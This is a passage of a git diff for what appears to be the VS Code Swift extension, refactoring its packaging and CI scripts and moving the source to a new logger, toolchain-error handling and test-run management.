a/scripts/compile_icons.ts +++ b/scripts/compile_icons.ts @@ -12,14 +12,14 @@ // //===----------------------------------------------------------------------===// /* eslint-disable no-console */ - -import { mkdir, readdir, readFile, rm, writeFile } from "fs/promises"; -import * as path from "path"; import { FontAssetType, generateFonts } from "fantasticon"; import { CodepointsMap } from "fantasticon/lib/utils/codepoints"; +import { mkdir, readFile, readdir, rm, writeFile } from "fs/promises"; +import * as path from "path"; import * as svgo from "svgo"; -import { main, withTemporaryDirectory } from "./lib/utilities"; + import { config } from "../src/icons/config"; +import { main, withTemporaryDirectory } from "./lib/utilities"; /** * Minifies and colors the provided icon. @@ -51,7 +51,6 @@ function minifyIcon(icon: string, color: string = "#424242"): string { }).data; } -// eslint-disable-next-line @typescript-eslint/no-floating-promises main(async () => { const iconsSourceDirectory = path.join(__dirname, "../src/icons"); const iconAssetsDirectory = path.join(__dirname, "../assets/icons"); diff --git a/scripts/dev_package.ts b/scripts/dev_package.ts index 4595c0517..fdc4d678d 100644 --- a/scripts/dev_package.ts +++ b/scripts/dev_package.ts @@ -12,27 +12,10 @@ // //===----------------------------------------------------------------------===// /* eslint-disable no-console */ +import { getExtensionVersion, main, packageExtension } from "./lib/utilities"; -import { - exec, - getExtensionVersion, - getRootDirectory, - main, - updateChangelog, -} from "./lib/utilities"; -// eslint-disable-next-line @typescript-eslint/no-require-imports -const { dev } = require("./versions"); - -// eslint-disable-next-line @typescript-eslint/no-floating-promises main(async () => { - const rootDirectory = getRootDirectory(); const version = await getExtensionVersion(); - // Increment the patch version from the package.json - const devVersion = dev(version); - // Update version in CHANGELOG - await updateChangelog(devVersion); - // Use VSCE to package the extension - await exec("npx", ["vsce", "package", "--no-update-package-json", devVersion], { - cwd: rootDirectory, - }); + const devVersion = `${version.major}.${version.minor}.${version.patch}-dev`; + await packageExtension(devVersion); }); diff --git a/scripts/download_vsix.ts b/scripts/download_vsix.ts index 27e89d3bd..4b87d036f 100644 --- a/scripts/download_vsix.ts +++ b/scripts/download_vsix.ts @@ -12,13 +12,14 @@ // //===----------------------------------------------------------------------===// /* eslint-disable no-console */ - import decompress from "decompress"; import { createWriteStream } from "node:fs"; -import { rename, unlink } from "node:fs/promises"; +import { appendFile, unlink } from "node:fs/promises"; import { pipeline } from "node:stream/promises"; import { Octokit } from "octokit"; +import { main } from "./lib/utilities"; + const artifact_id = process.env["VSCODE_SWIFT_VSIX_ID"]; if (!artifact_id) { console.error("No VSCODE_SWIFT_VSIX_ID provided"); @@ -29,12 +30,16 @@ if (!token) { console.error("No GITHUB_TOKEN provided"); process.exit(1); } +const envFile = process.env["GITHUB_ENV"]; +if (!envFile) { + console.error("No GITHUB_ENV provided"); + process.exit(1); +} const repository = process.env["GITHUB_REPOSITORY"] || "swiftlang/vscode-swift"; const owner = repository.split("/")[0]; const repo = repository.split("/")[1]; -// eslint-disable-next-line @typescript-eslint/no-floating-promises -(async function () { +main(async function () { const octokit = new Octokit({ auth: token, }); @@ -57,22 +62,29 @@ const repo = repository.split("/")[1]; await pipeline(data, createWriteStream("artifacts.zip", data)); const files = await decompress("artifacts.zip", process.cwd()); console.log(`Downloaded artifact(s): ${files.map(f => f.path).join(", ")}`); - const newName = process.env["VSCODE_SWIFT_VSIX"] || "vscode-swift.vsix"; - const releaseVSIX = files.find(f => /swift-vscode-\d+.\d+.\d+-\d+.vsix/m.test(f.path)); - if (!releaseVSIX) { - console.error("Cound not find vscode-swift release VSIX in artifact bundle"); - process.exit(1); - } - await rename(releaseVSIX.path, newName); - const prereleaseVSIX = files.find(f => /swift-vscode-\d+.\d+.\d{8}-\d+.vsix/m.test(f.path)); - if (!prereleaseVSIX) { - console.error("Cound not find vscode-swift pre-release VSIX in artifact bundle"); - process.exit(1); + const testPrerelease = process.env["VSCODE_SWIFT_VSIX_PRERELEASE"] === "1"; + if (testPrerelease) { + const prereleaseVSIX = files.find(f => + /swift-vscode-\d+.\d+.\d{8}(-dev)?-\d+.vsix/m.test(f.path) + ); + if (prereleaseVSIX) { + await appendFile(envFile, `VSCODE_SWIFT_VSIX=${prereleaseVSIX.path}\n`); + console.log(`Running tests against: ${prereleaseVSIX.path}`); + } else { + console.error("Cound not find vscode-swift pre-release VSIX in artifact bundle"); + process.exit(1); + } + } else { + const releaseVSIX = files.find(f => + /swift-vscode-\d+.\d+.\d+(-dev)?-\d+.vsix/m.test(f.path) + ); + if (releaseVSIX) { + await appendFile(envFile, `VSCODE_SWIFT_VSIX=${releaseVSIX.path}\n`); + console.log(`Running tests against: ${releaseVSIX.path}`); + } else { + console.error("Cound not find vscode-swift release VSIX in artifact bundle"); + process.exit(1); + } } - console.log(`Renamed artifact: ${releaseVSIX.path} => ${newName}`); - const preNewName = - process.env["VSCODE_SWIFT_PRERELEASE_VSIX"] || "vscode-swift-prerelease.vsix"; - await rename(prereleaseVSIX.path, preNewName); - console.log(`Renamed artifact: ${prereleaseVSIX.path} => ${preNewName}`); await unlink("artifacts.zip"); -})(); +}); diff --git a/scripts/lib/utilities.ts b/scripts/lib/utilities.ts index 86043bf2d..55566acf5 100644 --- a/scripts/lib/utilities.ts +++ b/scripts/lib/utilities.ts @@ -12,13 +12,12 @@ // //===----------------------------------------------------------------------===// /* eslint-disable no-console */ - import * as child_process from "child_process"; -import { mkdtemp, readFile, rm } from "fs/promises"; -import * as path from "path"; +import { copyFile, mkdtemp, readFile, rm } from "fs/promises"; import * as os from "os"; -import * as semver from "semver"; +import * as path from "path"; import { replaceInFile } from "replace-in-file"; +import * as semver from "semver"; /** * Executes the provided main function for the script while logging any errors. @@ -27,13 +26,11 @@ import { replaceInFile } from "replace-in-file"; * * @param mainFn The main function of the script that will be run. */ -export async function main(mainFn: () => Promise): Promise { - try { - await mainFn(); - } catch (error) { +export function main(mainFn: () => Promise) { + mainFn().catch(error => { console.error(error); process.exit(1); - } + }); } /** @@ -89,6 +86,13 @@ export async function exec( logMessage += " " + args.join(" "); } console.log(logMessage + "\n"); + // On Windows, we have to append ".cmd" to the npm and npx commands. Additionally, the + // "shell" option must be set to true to allow execution of batch scripts on windows. + // See https://nodejs.org/en/blog/vulnerability/april-2024-security-releases-2 + if (process.platform === "win32" && ["npm", "npx"].includes(command)) { + command = command + ".cmd"; + options.shell = true; + } return new Promise((resolve, reject) => { const childProcess = child_process.spawn(command, args, { stdio: "inherit", ...options }); childProcess.once("error", reject); @@ -126,9 +130,11 @@ export async function withTemporaryDirectory( } } -export async function updateChangelog(version: string): Promise { +export async function updateChangelog(version: string): Promise { + const tempChangelog = path.join(getRootDirectory(), `CHANGELOG-${version}.md`); + await copyFile(getChangelog(), tempChangelog); await replaceInFile({ - files: getChangelog(), + files: tempChangelog, from: /{{releaseVersion}}/g, to: version, }); @@ -137,8 +143,47 @@ export async function updateChangelog(version: string): Promise { const month = (date.getUTCMonth() + 1).toString().padStart(2, "0"); const day = date.getUTCDate().toString().padStart(2, "0"); await replaceInFile({ - files: getChangelog(), + files: tempChangelog, from: /{{releaseDate}}/g, to: `${year}-${month}-${day}`, }); + return tempChangelog; +} + +export interface PackageExtensionOptions { + preRelease?: boolean; +} + +export async function packageExtension(version: string, options: PackageExtensionOptions = {}) { + // Update version in a temporary CHANGELOG + const changelogPath = await updateChangelog(version); + + // Use VSCE to package the extension + // Note: There are no sendgrid secrets in the extension. `--allow-package-secrets` works around a false positive + // where the symbol `SG.MessageTransports.is` can appear in the dist.js if we're unlucky enough + // to have `SG` as the minified name of a namespace. Here is the rule we sometimes mistakenly match: + // https://github.com/secretlint/secretlint/blob/5706ac4942f098b845570541903472641d4ae914/packages/%40secretlint/secretlint-rule-sendgrid/src/index.ts#L35 + await exec( + "npx", + [ + "vsce", + "package", + ...(options.preRelease === true ? ["--pre-release"] : []), + "--allow-package-secrets", + "sendgrid", + "--no-update-package-json", + "--changelog-path", + path.basename(changelogPath), + version, + ], + { + cwd: getRootDirectory(), + } + ); + + // Clean up temporary changelog + await rm(changelogPath, { force: true }).catch(error => { + console.error(`Failed to remove temporary changelog '${changelogPath}'`); + console.error(error); + }); } diff --git a/scripts/package.ts b/scripts/package.ts index 397cbdccf..df118654b 100644 --- a/scripts/package.ts +++ b/scripts/package.ts @@ -12,19 +12,11 @@ // //===----------------------------------------------------------------------===// /* eslint-disable no-console */ +import { getExtensionVersion, main, packageExtension } from "./lib/utilities"; -import { - exec, - getExtensionVersion, - getRootDirectory, - main, - updateChangelog, -} from "./lib/utilities"; - -// eslint-disable-next-line @typescript-eslint/no-floating-promises main(async () => { - const rootDirectory = getRootDirectory(); const version = await getExtensionVersion(); + // Leave the "prerelease" tag out const versionString = `${version.major}.${version.minor}.${version.patch}`; if (process.platform === "win32") { @@ -32,15 +24,5 @@ main(async () => { return process.exit(0); } - // Update version in CHANGELOG - await updateChangelog(versionString); - - // Use VSCE to package the extension - // Note: There are no sendgrid secrets in the extension. `--allow-package-secrets` works around a false positive - // where the symbol `SG.MessageTransports.is` can appear in the dist.js if we're unlucky enough - // to have `SG` as the minified name of a namespace. Here is the rule we sometimes mistakenly match: - // https://github.com/secretlint/secretlint/blob/5706ac4942f098b845570541903472641d4ae914/packages/%40secretlint/secretlint-rule-sendgrid/src/index.ts#L35 - await exec("npx", ["vsce", "package", "--allow-package-secrets", "sendgrid"], { - cwd: rootDirectory, - }); + await packageExtension(versionString); }); diff --git a/scripts/patches/swift-docc-render/02_remove-linebreak-eslint-rule.patch b/scripts/patches/swift-docc-render/02_remove-linebreak-eslint-rule.patch new file mode 100644 index 000000000..9c80c14e8 --- /dev/null +++ b/scripts/patches/swift-docc-render/02_remove-linebreak-eslint-rule.patch @@ -0,0 +1,12 @@ +diff --git a/.eslintrc.js b/.eslintrc.js +index 1760671..a48af13 100644 +--- a/.eslintrc.js ++++ b/.eslintrc.js +@@ -21,6 +21,7 @@ module.exports = { + parser: '@babel/eslint-parser', + }, + rules: { ++ 'linebreak-style': 'off', + 'no-console': process.env.NODE_ENV === 'production' ? [ + 'error', + { allow: ['error', 'warn'] }, diff --git a/scripts/preview_package.ts b/scripts/preview_package.ts index d14b39179..b885cf99f 100644 --- a/scripts/preview_package.ts +++ b/scripts/preview_package.ts @@ -12,23 +12,27 @@ // //===----------------------------------------------------------------------===// /* eslint-disable no-console */ -import { - exec, - getExtensionVersion, - getRootDirectory, - main, - updateChangelog, -} from "./lib/utilities"; -// eslint-disable-next-line @typescript-eslint/no-require-imports -const { preview } = require("./versions"); +import { getExtensionVersion, main, packageExtension } from "./lib/utilities"; + +/** + * Formats the given date as a string in the form "YYYYMMdd". + * + * @param date The date to format as a string. + * @returns The formatted date. + */ +function formatDate(date: Date): string { + const year = date.getUTCFullYear().toString().padStart(4, "0"); + const month = (date.getUTCMonth() + 1).toString().padStart(2, "0"); + const day = date.getUTCDate().toString().padStart(2, "0"); + return year + month + day; +} -// eslint-disable-next-line @typescript-eslint/no-floating-promises main(async () => { - const rootDirectory = getRootDirectory(); const version = await getExtensionVersion(); - // Increment the minor version and set the patch version to today's date - const minor = version.minor + 1; - const previewVersion = preview(version); + // Decrement the minor version and set the patch version to today's date + const minor = version.minor - 1; + const patch = formatDate(new Date()); + const previewVersion = `${version.major}.${minor}.${patch}`; // Make sure that the new minor version is odd if (minor % 2 !== 1) { throw new Error( @@ -36,12 +40,5 @@ main(async () => { " The version in the package.json has probably been incorrectly set to an odd minor version." ); } - // Update version in CHANGELOG - await updateChangelog(previewVersion); - // Use VSCE to package the extension - await exec( - "npx", - ["vsce", "package", "--pre-release", "--no-update-package-json", previewVersion], - { cwd: rootDirectory } - ); + await packageExtension(previewVersion, { preRelease: true }); }); diff --git a/scripts/soundness.sh b/scripts/soundness.sh index e877feebb..6d4be9717 100755 --- a/scripts/soundness.sh +++ b/scripts/soundness.sh @@ -102,8 +102,11 @@ EOF \( \! -path './dist/*' -a \ \( \! -path './assets/*' -a \ \( \! -path './coverage/*' -a \ - \( "${matching_files[@]}" \) \ - \) \) \) \) \) \) \) + \( \! -path './.husky/*' -a \ + \( \! -path './src/typings/*' -a \ + \( \! -path './github-workflows/*' -a \ + \( "${matching_files[@]}" \ + \) \) \) \) \) \) \) \) \) \) \) } | while read -r line; do if [[ "$(replace_acceptable_years < "$line" | head -n "$expected_lines" | shasum)" != "$expected_sha" ]]; then printf "\033[0;31mmissing headers in file '%s'!\033[0m\n" "$line" diff --git a/scripts/test_windows.ps1 b/scripts/test_windows.ps1 index 2f88225da..b04fb261a 100644 --- a/scripts/test_windows.ps1 +++ b/scripts/test_windows.ps1 @@ -125,10 +125,9 @@ if ($versionLine -match "Swift version (\d+)\.(\d+)") { exit 1 } -npm ci -ignore-script node-pty +npm ci npm run lint npm run format -npm run package npm run test if ($LASTEXITCODE -eq 0) { Write-Host 'SUCCESS' diff --git a/scripts/tsconfig.json b/scripts/tsconfig.json index b2cabb90b..674bc042e 100644 --- a/scripts/tsconfig.json +++ b/scripts/tsconfig.json @@ -2,17 +2,19 @@ "compilerOptions": { "composite": true, - "rootDir": ".", - "outDir": "dist", + "rootDir": "..", + "outDir": "../dist", "lib": ["ES2021"], "target": "ES2020", "module": "commonjs", + "esModuleInterop": true, "strict": true, "sourceMap": true, "types": [] - } + }, + "include": ["**/*.ts", "../src/icons/**/*.ts"] } diff --git a/scripts/update_swift_docc_render.ts b/scripts/update_swift_docc_render.ts index a14c57add..8ea6eb9af 100644 --- a/scripts/update_swift_docc_render.ts +++ b/scripts/update_swift_docc_render.ts @@ -12,11 +12,11 @@ // //===----------------------------------------------------------------------===// /* eslint-disable no-console */ - -import simpleGit, { ResetMode } from "simple-git"; -import { stat, mkdir, rm, readdir } from "fs/promises"; +import { mkdir, readdir, rm, stat } from "fs/promises"; import * as path from "path"; import * as semver from "semver"; +import simpleGit, { ResetMode } from "simple-git"; + import { exec, getRootDirectory, main, withTemporaryDirectory } from "./lib/utilities"; function checkNodeVersion() { @@ -56,7 +56,6 @@ async function cloneSwiftDocCRender(buildDirectory: string): Promise { return swiftDocCRenderDirectory; } -// eslint-disable-next-line @typescript-eslint/no-floating-promises main(async () => { const outputDirectory = path.join(getRootDirectory(), "assets", "swift-docc-render"); if (process.argv.includes("postinstall")) { diff --git a/scripts/versions.js b/scripts/versions.js deleted file mode 100644 index fd2fe66a8..000000000 --- a/scripts/versions.js +++ /dev/null @@ -1,37 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VS Code Swift open source project -// -// Copyright (c) 2025 the VS Code Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VS Code Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// -/** - * Formats the given date as a string in the form "YYYYMMdd". - * - * @param date The date to format as a string. - * @returns The formatted date. - */ -function formatDate(date) { - const year = date.getUTCFullYear().toString().padStart(4, "0"); - const month = (date.getUTCMonth() + 1).toString().padStart(2, "0"); - const day = date.getUTCDate().toString().padStart(2, "0"); - return year + month + day; -} - -module.exports = { - preview: function (version) { - const minor = version.minor + 1; - const patch = formatDate(new Date()); - return `${version.major}.${minor}.${patch}`; - }, - dev: function (version) { - const patch = version.patch + 1; - return `${version.major}.${version.minor}.${patch}-dev`; - }, -}; diff --git a/src/BackgroundCompilation.ts b/src/BackgroundCompilation.ts index cc82a2e8c..68e132949 100644 --- a/src/BackgroundCompilation.ts +++ b/src/BackgroundCompilation.ts @@ -11,26 +11,28 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import { getBuildAllTask } from "./tasks/SwiftTaskProvider"; -import configuration from "./configuration"; + import { FolderContext } from "./FolderContext"; +import configuration from "./configuration"; +import { getBuildAllTask } from "./tasks/SwiftTaskProvider"; import { TaskOperation } from "./tasks/TaskQueue"; +import { validFileTypes } from "./utilities/filesystem"; + // eslint-disable-next-line @typescript-eslint/no-require-imports import debounce = require("lodash.debounce"); -import { validFileTypes } from "./utilities/filesystem"; export class BackgroundCompilation implements vscode.Disposable { private workspaceFileWatcher?: vscode.FileSystemWatcher; private configurationEventDisposable?: vscode.Disposable; private disposables: vscode.Disposable[] = []; + private _disposed = false; constructor(private folderContext: FolderContext) { // We only want to configure the file watcher if background compilation is enabled. this.configurationEventDisposable = vscode.workspace.onDidChangeConfiguration(event => { if (event.affectsConfiguration("swift.backgroundCompilation", folderContext.folder)) { - if (configuration.backgroundCompilation) { + if (configuration.backgroundCompilation.enabled) { this.setupFileWatching(); } else { this.stopFileWatching(); @@ -38,7 +40,7 @@ export class BackgroundCompilation implements vscode.Disposable { } }); - if (configuration.backgroundCompilation) { + if (configuration.backgroundCompilation.enabled) { this.setupFileWatching(); } } @@ -58,7 +60,9 @@ export class BackgroundCompilation implements vscode.Disposable { this.workspaceFileWatcher.onDidChange( debounce( () => { - void this.runTask(); + if (!this._disposed) { + void this.runTask(); + } }, 100 /* 10 times per second */, { trailing: true } @@ -72,6 +76,7 @@ export class BackgroundCompilation implements vscode.Disposable { } dispose() { + this._disposed = true; this.configurationEventDisposable?.dispose(); this.disposables.forEach(disposable => disposable.dispose()); } @@ -85,7 +90,7 @@ export class BackgroundCompilation implements vscode.Disposable { */ async runTask() { // create compile task and execute it - const backgroundTask = await getBuildAllTask(this.folderContext); + const backgroundTask = await this.getTask(); if (!backgroundTask) { return; } @@ -95,4 +100,12 @@ export class BackgroundCompilation implements vscode.Disposable { // can ignore if running task fails } } + + async getTask(): Promise { + return await getBuildAllTask( + this.folderContext, + configuration.backgroundCompilation.release, + configuration.backgroundCompilation.useDefaultTask + ); + } } diff --git a/src/DiagnosticsManager.ts b/src/DiagnosticsManager.ts index c7e0914a2..87b700482 100644 --- a/src/DiagnosticsManager.ts +++ b/src/DiagnosticsManager.ts @@ -11,17 +11,18 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as fs from "fs"; import * as path from "path"; -// eslint-disable-next-line @typescript-eslint/no-require-imports -import stripAnsi = require("strip-ansi"); +import * as vscode from "vscode"; + +import { WorkspaceContext } from "./WorkspaceContext"; import configuration from "./configuration"; import { SwiftExecution } from "./tasks/SwiftExecution"; -import { WorkspaceContext } from "./WorkspaceContext"; -import { checkIfBuildComplete, lineBreakRegex } from "./utilities/tasks"; import { validFileTypes } from "./utilities/filesystem"; +import { checkIfBuildComplete, lineBreakRegex } from "./utilities/tasks"; + +// eslint-disable-next-line @typescript-eslint/no-require-imports +import stripAnsi = require("strip-ansi"); interface ParsedDiagnostic { uri: string; @@ -99,9 +100,7 @@ export class DiagnosticsManager implements vscode.Disposable { ); }); }) - .catch(e => - context.outputChannel.log(`${e}`, 'Failed to provide "swiftc" diagnostics') - ); + .catch(e => context.logger.error(`Failed to provide "swiftc" diagnostics: ${e}`)); }); const fileTypes = validFileTypes.join(","); this.workspaceFileWatcher = vscode.workspace.createFileSystemWatcher( diff --git a/src/FolderContext.ts b/src/FolderContext.ts index 1d0b32c50..7ed08a2ea 100644 --- a/src/FolderContext.ts +++ b/src/FolderContext.ts @@ -11,26 +11,33 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as path from "path"; +import * as vscode from "vscode"; + +import { BackgroundCompilation } from "./BackgroundCompilation"; import { LinuxMain } from "./LinuxMain"; import { PackageWatcher } from "./PackageWatcher"; import { SwiftPackage, Target, TargetType } from "./SwiftPackage"; import { TestExplorer } from "./TestExplorer/TestExplorer"; -import { WorkspaceContext, FolderOperation } from "./WorkspaceContext"; -import { BackgroundCompilation } from "./BackgroundCompilation"; +import { TestRunManager } from "./TestExplorer/TestRunManager"; +import { TestRunProxy } from "./TestExplorer/TestRunner"; +import { FolderOperation, WorkspaceContext } from "./WorkspaceContext"; +import { SwiftLogger } from "./logging/SwiftLogger"; import { TaskQueue } from "./tasks/TaskQueue"; -import { isPathInsidePath } from "./utilities/filesystem"; -import { SwiftOutputChannel } from "./ui/SwiftOutputChannel"; import { SwiftToolchain } from "./toolchain/toolchain"; +import { showToolchainError } from "./ui/ToolchainSelection"; +import { isPathInsidePath } from "./utilities/filesystem"; export class FolderContext implements vscode.Disposable { - private packageWatcher: PackageWatcher; public backgroundCompilation: BackgroundCompilation; public hasResolveErrors = false; - public testExplorer?: TestExplorer; public taskQueue: TaskQueue; + public testExplorer?: TestExplorer; + public resolvedTestExplorer: Promise; + private testExplorerResolver?: (testExplorer: TestExplorer) => void; + private packageWatcher: PackageWatcher; + private testRunManager: TestRunManager; + public creationStack?: string; /** * FolderContext constructor @@ -46,9 +53,20 @@ export class FolderContext implements vscode.Disposable { public workspaceFolder: vscode.WorkspaceFolder, public workspaceContext: WorkspaceContext ) { - this.packageWatcher = new PackageWatcher(this, workspaceContext); + this.packageWatcher = new PackageWatcher(this, workspaceContext.logger); this.backgroundCompilation = new BackgroundCompilation(this); this.taskQueue = new TaskQueue(this); + this.testRunManager = new TestRunManager(); + + // In order to track down why a FolderContext may be created when we don't want one, + // capture the stack so we can log it if we find a duplicate. + this.creationStack = new Error().stack; + + // Tests often need to wait for the test explorer to be created before they can run. + // This promise resolves when the test explorer is created, allowing them to wait for it before starting. + this.resolvedTestExplorer = new Promise(resolve => { + this.testExplorerResolver = resolve; + }); } /** dispose of any thing FolderContext holds */ @@ -57,6 +75,7 @@ export class FolderContext implements vscode.Disposable { this.packageWatcher.dispose(); this.testExplorer?.dispose(); this.backgroundCompilation.dispose(); + this.taskQueue.dispose(); } /** @@ -73,7 +92,46 @@ export class FolderContext implements vscode.Disposable { const statusItemText = `Loading Package (${FolderContext.uriName(folder)})`; workspaceContext.statusItem.start(statusItemText); - const toolchain = await SwiftToolchain.create(folder); + let toolchain: SwiftToolchain; + try { + toolchain = await SwiftToolchain.create( + workspaceContext.extensionContext.extensionPath, + folder + ); + } catch (error) { + // This error case is quite hard for the user to get in to, but possible. + // Typically on startup the toolchain creation failure is going to happen in + // the extension activation in extension.ts. However if they incorrectly configure + // their path post activation, and add a new folder to the workspace, this failure can occur. + workspaceContext.logger.error( + `Failed to discover Swift toolchain for ${FolderContext.uriName(folder)}: ${error}`, + FolderContext.uriName(folder) + ); + const userMadeSelection = await showToolchainError(folder); + if (userMadeSelection) { + // User updated toolchain settings, retry once + try { + toolchain = await SwiftToolchain.create( + workspaceContext.extensionContext.extensionPath, + folder + ); + workspaceContext.logger.info( + `Successfully created toolchain for ${FolderContext.uriName(folder)} after user selection`, + FolderContext.uriName(folder) + ); + } catch (retryError) { + workspaceContext.logger.error( + `Failed to create toolchain for ${FolderContext.uriName(folder)} even after user selection: ${retryError}`, + FolderContext.uriName(folder) + ); + // Fall back to global toolchain + toolchain = workspaceContext.globalToolchain; + } + } else { + toolchain = workspaceContext.globalToolchain; + } + } + const { linuxMain, swiftPackage } = await workspaceContext.statusItem.showStatusWhileRunning(statusItemText, async () => { const linuxMain = await LinuxMain.create(folder); @@ -96,7 +154,7 @@ export class FolderContext implements vscode.Disposable { void vscode.window.showErrorMessage( `Failed to load ${folderContext.name}/Package.swift: ${error.message}` ); - workspaceContext.outputChannel.log( + workspaceContext.logger.info( `Failed to load Package.swift: ${error.message}`, folderContext.name ); @@ -108,6 +166,10 @@ export class FolderContext implements vscode.Disposable { return folderContext; } + get languageClientManager() { + return this.workspaceContext.languageClientManager.get(this); + } + get name(): string { const relativePath = this.relativePath; if (relativePath.length === 0) { @@ -145,8 +207,8 @@ export class FolderContext implements vscode.Disposable { } /** Load Swift Plugins and store in Package */ - async loadSwiftPlugins(outputChannel: SwiftOutputChannel) { - await this.swiftPackage.loadSwiftPlugins(this.toolchain, outputChannel); + async loadSwiftPlugins(logger: SwiftLogger) { + await this.swiftPackage.loadSwiftPlugins(this.toolchain, logger); } /** @@ -165,7 +227,13 @@ export class FolderContext implements vscode.Disposable { /** Create Test explorer for this folder */ addTestExplorer() { if (this.testExplorer === undefined) { - this.testExplorer = new TestExplorer(this); + this.testExplorer = new TestExplorer( + this, + this.workspaceContext.tasks, + this.workspaceContext.logger, + this.workspaceContext.onDidChangeSwiftFiles.bind(this.workspaceContext) + ); + this.testExplorerResolver?.(this.testExplorer); } return this.testExplorer; } @@ -212,6 +280,34 @@ export class FolderContext implements vscode.Disposable { return target; } + /** + * Register a new test run + * @param testRun The test run to register + * @param folder The folder context + * @param testKind The kind of test run + * @param tokenSource The cancellation token source + */ + public registerTestRun(testRun: TestRunProxy, tokenSource: vscode.CancellationTokenSource) { + this.testRunManager.registerTestRun(testRun, this, tokenSource); + } + + /** + * Returns true if there is an active test run for the given test kind + * @param testKind The kind of test + * @returns True if there is an active test run, false otherwise + */ + hasActiveTestRun() { + return this.testRunManager.getActiveTestRun(this) !== undefined; + } + + /** + * Cancels the active test run for the given test kind + * @param testKind The kind of test run + */ + cancelTestRun() { + this.testRunManager.cancelTestRun(this); + } + /** * Called whenever we have new document symbols */ diff --git a/src/LinuxMain.ts b/src/LinuxMain.ts index 06e6215e2..44d3b17b0 100644 --- a/src/LinuxMain.ts +++ b/src/LinuxMain.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { pathExists } from "./utilities/filesystem"; /** diff --git a/src/PackageWatcher.ts b/src/PackageWatcher.ts index 90addfa8d..25e5618d5 100644 --- a/src/PackageWatcher.ts +++ b/src/PackageWatcher.ts @@ -11,16 +11,17 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as path from "path"; import * as fs from "fs/promises"; +import * as path from "path"; import * as vscode from "vscode"; + import { FolderContext } from "./FolderContext"; -import { FolderOperation, WorkspaceContext } from "./WorkspaceContext"; +import { FolderOperation } from "./WorkspaceContext"; +import { SwiftLogger } from "./logging/SwiftLogger"; import { BuildFlags } from "./toolchain/BuildFlags"; -import { Version } from "./utilities/version"; -import { fileExists } from "./utilities/filesystem"; import { showReloadExtensionNotification } from "./ui/ReloadExtension"; +import { fileExists } from "./utilities/filesystem"; +import { Version } from "./utilities/version"; /** * Watches for changes to **Package.swift** and **Package.resolved**. @@ -39,7 +40,7 @@ export class PackageWatcher { constructor( private folderContext: FolderContext, - private workspaceContext: WorkspaceContext + private logger: SwiftLogger ) {} /** @@ -107,6 +108,8 @@ export class PackageWatcher { watcher.onDidDelete(async () => await this.handleWorkspaceStateChange()); if (await fileExists(uri.fsPath)) { + // TODO: Remove this + this.logger.info("Loading initial workspace-state.json"); await this.handleWorkspaceStateChange(); } @@ -136,11 +139,8 @@ export class PackageWatcher { async handleSwiftVersionFileChange() { const version = await this.readSwiftVersionFile(); - if (version && version.toString() !== this.currentVersion?.toString()) { - await this.workspaceContext.fireEvent( - this.folderContext, - FolderOperation.swiftVersionUpdated - ); + if (version?.toString() !== this.currentVersion?.toString()) { + await this.folderContext.fireEvent(FolderOperation.swiftVersionUpdated); await showReloadExtensionNotification( "Changing the swift toolchain version requires the extension to be reloaded" ); @@ -155,9 +155,7 @@ export class PackageWatcher { return Version.fromString(contents.toString().trim()); } catch (error) { if ((error as NodeJS.ErrnoException).code !== "ENOENT") { - this.workspaceContext.outputChannel.appendLine( - `Failed to read .swift-version file at ${versionFile}: ${error}` - ); + this.logger.error(`Failed to read .swift-version file at ${versionFile}: ${error}`); } } return undefined; @@ -173,7 +171,7 @@ export class PackageWatcher { async handlePackageSwiftChange() { // Load SwiftPM Package.swift description await this.folderContext.reload(); - await this.workspaceContext.fireEvent(this.folderContext, FolderOperation.packageUpdated); + await this.folderContext.fireEvent(FolderOperation.packageUpdated); } /** @@ -186,10 +184,7 @@ export class PackageWatcher { await this.folderContext.reloadPackageResolved(); // if file contents has changed then send resolve updated message if (this.folderContext.swiftPackage.resolved?.fileHash !== packageResolvedHash) { - await this.workspaceContext.fireEvent( - this.folderContext, - FolderOperation.resolvedUpdated - ); + await this.folderContext.fireEvent(FolderOperation.resolvedUpdated); } } @@ -200,9 +195,10 @@ export class PackageWatcher { */ private async handleWorkspaceStateChange() { await this.folderContext.reloadWorkspaceState(); - await this.workspaceContext.fireEvent( - this.folderContext, - FolderOperation.workspaceStateUpdated + // TODO: Remove this + this.logger.info( + `Package watcher state updated workspace-state.json: ${JSON.stringify(this.folderContext.swiftPackage.workspaceState, null, 2)}` ); + await this.folderContext.fireEvent(FolderOperation.workspaceStateUpdated); } } diff --git a/src/SwiftPackage.ts b/src/SwiftPackage.ts index 939ae6e4d..ab64b2724 100644 --- a/src/SwiftPackage.ts +++ b/src/SwiftPackage.ts @@ -11,16 +11,16 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as fs from "fs/promises"; import * as path from "path"; -import { execSwift, getErrorDescription, hashString } from "./utilities/utilities"; -import { isPathInsidePath } from "./utilities/filesystem"; -import { SwiftToolchain } from "./toolchain/toolchain"; +import * as vscode from "vscode"; + +import { SwiftLogger } from "./logging/SwiftLogger"; import { BuildFlags } from "./toolchain/BuildFlags"; -import { SwiftOutputChannel } from "./ui/SwiftOutputChannel"; +import { SwiftToolchain } from "./toolchain/toolchain"; +import { isPathInsidePath } from "./utilities/filesystem"; import { lineBreakRegex } from "./utilities/tasks"; +import { execSwift, getErrorDescription, hashString } from "./utilities/utilities"; /** Swift Package Manager contents */ interface PackageContents { @@ -37,6 +37,10 @@ export interface Product { type: { executable?: null; library?: string[] }; } +export function isAutomatic(product: Product): boolean { + return (product.type.library || []).includes("automatic"); +} + /** Swift Package Manager target */ export interface Target { name: string; @@ -71,9 +75,8 @@ export class PackageResolved { readonly version: number; constructor(fileContents: string) { - const json = JSON.parse(fileContents); - const version = <{ version: number }>json; - this.version = version.version; + const json = JSON.parse(fileContents) as { version: number }; + this.version = json.version; this.fileHash = 